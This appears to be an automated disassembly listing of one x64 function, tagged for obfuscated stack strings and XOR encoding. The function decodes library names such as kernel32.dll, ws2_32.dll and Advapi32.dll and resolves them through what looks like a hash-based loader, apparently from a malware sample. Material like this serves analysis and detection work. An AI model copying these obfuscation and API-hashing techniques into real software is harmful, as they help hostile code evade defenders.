Function at 0x180001000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 8]
sub rsp, 0x108
mov byte [rsp + 0x58], 0x78
xor ebx, ebx
mov byte [rsp + 0x59], 0x72
mov edx, ebx
mov byte [rsp + 0x5a], 0x7f
mov byte [rsp + 0x5b], 0x7b
mov byte [rsp + 0x5c], 0x72
lea edi, [rbx + 1]
mov byte [rsp + 0x5d], 0x79
mov byte [rsp + 0x5e], 0x40
mov byte [rsp + 0x5f], 0x3f
mov byte [rsp + 0x60], 0x3b
mov byte [rsp + 0x61], 0x71
mov byte [rsp + 0x62], 0x79
mov byte [rsp + 0x63], 0x79
mov byte [rsp + 0x64], bl
mov al, byte [rsp + 0x58]
movsx ecx, byte [rsp + rdx + 0x58]
sub ecx, 0xd
mov byte [rsp + rdx + 0x58], cl
add rdx, rdi
cmp rdx, 0xc
jb 0x180001064
mov r14d, 4
mov r15d, 0x9ab91a0f
mov r9d, r14d
mov r8d, r15d
lea esi, [r14 + 0xb]
mov edx, esi
call fcn.1800034e0
lea rcx, [rsp + 0x58]
call rax
mov byte [rsp + 0x48], 0x7c
mov rdx, rbx
mov byte [rsp + 0x49], 0x78
mov byte [rsp + 0x4a], 0x37
mov byte [rsp + 0x4b], 0x64
mov byte [rsp + 0x4c], 0x38
mov byte [rsp + 0x4d], 0x37
mov byte [rsp + 0x4e], 0x33
mov byte [rsp + 0x4f], 0x69
mov byte [rsp + 0x50], 0x71
mov byte [rsp + 0x51], 0x71
mov byte [rsp + 0x52], bl
mov qword [rbp + 0x50], rax
mov al, byte [rsp + 0x48]
movsx ecx, byte [rsp + rdx + 0x48]
sub ecx, 5
mov byte [rsp + rdx + 0x48], cl
add rdx, rdi
cmp rdx, 0xa
jb 0x1800010de
mov r9d, r14d
mov r8d, r15d
mov edx, esi
call fcn.1800034e0
lea rcx, [rsp + 0x48]
call rax
mov dword [rbp - 0x68], 0x76
mov r8, rbx
mov byte [rbp - 0x64], 0x37
mov byte [rbp - 0x63], 0x12
mov byte [rbp - 0x62], bl
mov byte [rbp - 0x61], 0x17
mov byte [rbp - 0x60], 6
mov byte [rbp - 0x5f], 0x1f
mov byte [rbp - 0x5e], 0x45
mov byte [rbp - 0x5d], 0x44
mov byte [rbp - 0x5c], 0x58
mov byte [rbp - 0x5b], 0x12
mov qword [rbp + 0x58], rax
xor eax, eax
mov byte [rbp - 0x5a], 0x1a
mov byte [rbp - 0x59], 0x1a
mov byte [rbp - 0x58], al
mov al, byte [rbp - 0x64]
movsx edx, byte [rbp + r8 - 0x64]
mov eax, dword [rbp - 0x68]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x64], al
add r8, rdi
cmp r8, 0xc
jb 0x18000114c
mov r9d, r14d
mov byte [rbp - 0x58], bl
mov r8d, r15d
mov edx, esi
call fcn.1800034e0
lea rcx, [rbp - 0x64]
call rax
mov dword [rbp - 0x78], 0x13
mov r8, rbx
mov byte [rbp - 0x74], 0x7d
mov byte [rbp - 0x73], 0x67
mov byte [rbp - 0x72], 0x77
mov byte [rbp - 0x71], 0x7f
mov byte [rbp - 0x70], 0x7f
mov byte [rbp - 0x6f], 0x3d
mov byte [rbp - 0x6e], 0x77
mov byte [rbp - 0x6d], 0x7f
mov qword [rbp + 0x60], rax
xor eax, eax
mov byte [rbp - 0x6c], 0x7f
mov cl, byte [rbp - 0x74]
mov byte [rbp - 0x6b], al
movsx edx, byte [rbp + r8 - 0x74]
mov eax, dword [rbp - 0x78]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x74], al
add r8, rdi
cmp r8, 9
jb 0x1800011ba
mov r9d, r14d
mov byte [rbp - 0x6b], bl
mov r8d, r15d
mov edx, esi
call fcn.1800034e0
lea rcx, [rbp - 0x74]
call rax
mov dword [rbp - 0x50], 0x3f
mov r13, rax
mov byte [rbp - 0x4c], 0x6d
xor eax, eax
mov byte [rbp - 0x4b], 0x4c
mov r8, rbx
mov byte [rbp - 0x4a], 0x4b
mov byte [rbp - 0x49], 0x4d
mov byte [rbp - 0x48], 0x4b
mov byte [rbp - 0x47], 0x52
mov byte [rbp - 0x46], 0x58
mov byte [rbp - 0x45], 0x4d
mov byte [rbp - 0x44], 0x11
mov byte [rbp - 0x43], 0x5b
mov byte [rbp - 0x42], 0x53
mov byte [rbp - 0x41], 0x53
mov byte [rbp - 0x40], al
mov al, byte [rbp - 0x4c]
movsx edx, byte [rbp + r8 - 0x4c]
mov eax, dword [rbp - 0x50]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x4c], al
add r8, rdi
cmp r8, 0xc
jb 0x180001233
mov r9d, r14d
mov byte [rbp - 0x40], bl
mov r8d, r15d
mov edx, esi
call fcn.1800034e0
lea rcx, [rbp - 0x4c]
call rax
mov byte [rsp + 0x38], 0x53
mov r12, rax
mov byte [rsp + 0x39], 0x70
mov rdx, rbx
mov byte [rsp + 0x3a], 0x69
mov byte [rsp + 0x3b], 0x37
mov byte [rsp + 0x3c], 0x36
mov byte [rsp + 0x3d], 0x32
mov byte [rsp + 0x3e], 0x68
mov byte [rsp + 0x3f], 0x70
mov byte [rsp + 0x40], 0x70
mov byte [rsp + 0x41], bl
mov cl, byte [rsp + 0x38]
movsx ecx, byte [rsp + rdx + 0x38]
sub ecx, r14d
mov byte [rsp + rdx + 0x38], cl
add rdx, rdi
cmp rdx, 9
jb 0x1800012a2
mov r9d, r14d
mov r8d, r15d
mov edx, esi
call fcn.1800034e0
lea rcx, [rsp + 0x38]
call rax
mov dword [rbp - 0x38], 0x1a
mov rsi, rax
mov byte [rbp - 0x34], 0x55
xor eax, eax
mov byte [rbp - 0x33], 0x76
mov r8, rbx
mov byte [rbp - 0x32], 0x7f
mov byte [rbp - 0x31], 0x5b
mov byte [rbp - 0x30], 0x6f
mov byte [rbp - 0x2f], 0x6e
mov byte [rbp - 0x2e], 0x29
mov byte [rbp - 0x2d], 0x28
mov byte [rbp - 0x2c], 0x34
mov byte [rbp - 0x2b], 0x7e
mov byte [rbp - 0x2a], 0x76
mov byte [rbp - 0x29], 0x76
mov byte [rbp - 0x28], al
mov al, byte [rbp - 0x34]
movsx edx, byte [rbp + r8 - 0x34]
mov eax, dword [rbp - 0x38]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x34], al
add r8, rdi
cmp r8, 0xc
jb 0x180001310
mov r9d, r14d
mov byte [rbp - 0x28], bl
mov r8d, r15d
mov edx, 0xf
call fcn.1800034e0
lea rcx, [rbp - 0x34]
call rax
mov qword [rbp + 0x68], rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x3e
mov ecx, dword [rsp + 0x20]
xor ecx, 0x4e
mov byte [rsp + 0x24], cl
mov ecx, dword [rsp + 0x20]
add cl, dil
xor ecx, 0x65
mov byte [rsp + 0x25], cl
mov ecx, dword [rsp + 0x20]
add cl, 2
xor ecx, 0x74
mov byte [rsp + 0x26], cl
mov eax, dword [rsp + 0x20]
add al, 3
xor eax, 0x61
mov byte [rsp + 0x27], al
mov eax, dword [rsp + 0x20]
add al, r14b
xor eax, 0x70
mov byte [rsp + 0x28], al
mov eax, dword [rsp + 0x20]
add al, 5
xor eax, 0x69
mov byte [rsp + 0x29], al
mov eax, dword [rsp + 0x20]
add al, 6
xor eax, 0x33
mov byte [rsp + 0x2a], al
mov eax, dword [rsp + 0x20]
add al, 7
xor eax, 0x32
mov byte [rsp + 0x2b], al
mov eax, dword [rsp + 0x20]
add al, 8
xor eax, 0x2e
mov byte [rsp + 0x2c], al
mov eax, dword [rsp + 0x20]
add al, 9
xor eax, 0x64
mov byte [rsp + 0x2d], al
mov eax, dword [rsp + 0x20]
add al, 0xa
xor eax, 0x6c
mov byte [rsp + 0x2e], al
mov eax, dword [rsp + 0x20]
add al, 0xb
xor eax, 0x6c
mov byte [rsp + 0x2f], al
xor eax, eax
mov byte [rsp + 0x30], al
mov al, byte [rsp + 0x24]
movsx eax, byte [rsp + rdx + 0x24]
mov ecx, dword [rsp + 0x20]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x24], cl
add rdx, rdi
cmp rdx, 0xc
jb 0x1800013fd
mov r9d, r14d
mov byte [rsp + 0x30], bl
mov r8d, r15d
mov edx, 0xf
call fcn.1800034e0
lea rcx, [rsp + 0x24]
call rax
mov dword [rbp - 0x20], 0x50
mov r15, rax
mov byte [rbp - 0x1c], 0x19
xor eax, eax
mov byte [rbp - 0x1b], 0x20
mov r8, rbx
mov byte [rbp - 0x1a], 0x38
mov byte [rbp - 0x19], 0x3c
mov byte [rbp - 0x18], 0x20
mov byte [rbp - 0x17], 0x31
mov byte [rbp - 0x16], 0x20
mov byte [rbp - 0x15], 0x39
mov byte [rbp - 0x14], 0x7e
mov byte [rbp - 0x13], 0x34
mov byte [rbp - 0x12], 0x3c
mov byte [rbp - 0x11], 0x3c
mov byte [rbp - 0x10], al
mov al, byte [rbp - 0x1c]
movsx edx, byte [rbp + r8 - 0x1c]
mov eax, dword [rbp - 0x20]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rbp + r8 - 0x1c], al
add r8, rdi
cmp r8, 0xc
jb 0x180001477
mov r9d, r14d
mov byte [rbp - 0x10], bl
mov edx, 0xf
mov r8d, 0x9ab91a0f
call fcn.1800034e0
lea rcx, [rbp - 0x1c]
call rax
mov dword [rsp + 0x68], 0x7c
mov r14, rax
mov byte [rsp + 0x6c], 0x2f
xor eax, eax
mov byte [rsp + 0x6d], 0x14
mov r8, rbx
mov byte [rsp + 0x6e], 0x10
mov byte [rsp + 0x6f], 0xb
mov byte [rsp + 0x70], 0x1d
mov byte [rsp + 0x71], 0xc
mov byte [rsp + 0x72], 0x15
mov byte [rsp + 0x73], 0x52
mov byte [rsp + 0x74], 0x18
mov byte [rsp + 0x75], 0x10
mov byte [rsp + 0x76], 0x10
mov byte [rsp + 0x77], al
mov al, byte [rsp + 0x6c]
movsx edx, byte [rsp + r8 + 0x6c]
mov eax, dword [rsp + 0x68]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x6c], al
add r8, rdi
cmp r8, 0xb
jb 0x180001500
mov edx, 0xf
mov byte [rsp + 0x77], bl
mov r8d, 0x9ab91a0f
lea r9d, [rdx - 0xb]
call fcn.1800034e0
lea rcx, [rsp + 0x6c]
call rax
mov dword [rsp + 0x78], 0x1c
mov rdi, rax
mov byte [rsp + 0x7c], 0x4f
xor eax, eax
mov byte [rsp + 0x7d], 0x74
mov r11, rbx
mov byte [rsp + 0x7e], 0x79
mov byte [rsp + 0x7f], 0x70
mov byte [rbp - 0x80], 0x70
mov byte [rbp - 0x7f], 0x2f
mov byte [rbp - 0x7e], 0x2e
mov byte [rbp - 0x7d], 0x32
mov byte [rbp - 0x7c], 0x78
mov byte [rbp - 0x7b], 0x70
mov byte [rbp - 0x7a], 0x70
mov byte [rbp - 0x79], al
mov al, byte [rsp + 0x7c]
movsx r10d, byte [rsp + r11 + 0x7c]
mov eax, dword [rsp + 0x78]
movsx ecx, al
mov eax, r10d
xor eax, ecx
mov byte [rsp + r11 + 0x7c], al
inc r11
cmp r11, 0xb
jb 0x180001585
mov edx, 0xf
mov byte [rbp - 0x79], bl
mov r8d, 0x9ab91a0f
lea r9d, [rdx - 0xb]
call fcn.1800034e0
lea rcx, [rsp + 0x7c]
call rax
mov rbx, rax
mov rax, qword [rbp + 0x50]
test rax, rax
je 0x1800015d7
mov rcx, rax
call fcn.1800016f8
mov rax, qword [rbp + 0x58]
test rax, rax
je 0x1800015e8
mov rcx, rax
call fcn.1800016f8
mov rax, qword [rbp + 0x60]
test rax, rax
je 0x1800015f9
mov rcx, rax
call fcn.1800016f8
test r12, r12
je 0x180001606
mov rcx, r12
call fcn.1800016f8
test rsi, rsi
je 0x180001613
mov rcx, rsi
call fcn.1800016f8
cmp qword [rbp + 0x68], 0
je 0x180001622
mov rcx, rsi
call fcn.1800016f8
test r15, r15
je 0x18000162f
mov rcx, r15
call fcn.1800016f8
test r14, r14
je 0x18000163c
mov rcx, r14
call fcn.1800016f8
test rdi, rdi
je 0x180001649
mov rcx, rdi
call fcn.1800016f8
test rbx, rbx
je 0x180001656
mov rcx, rbx
call fcn.1800016f8
test r13, r13
je 0x180001663
mov rcx, r13
call fcn.1800016f8
add rsp, 0x108
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret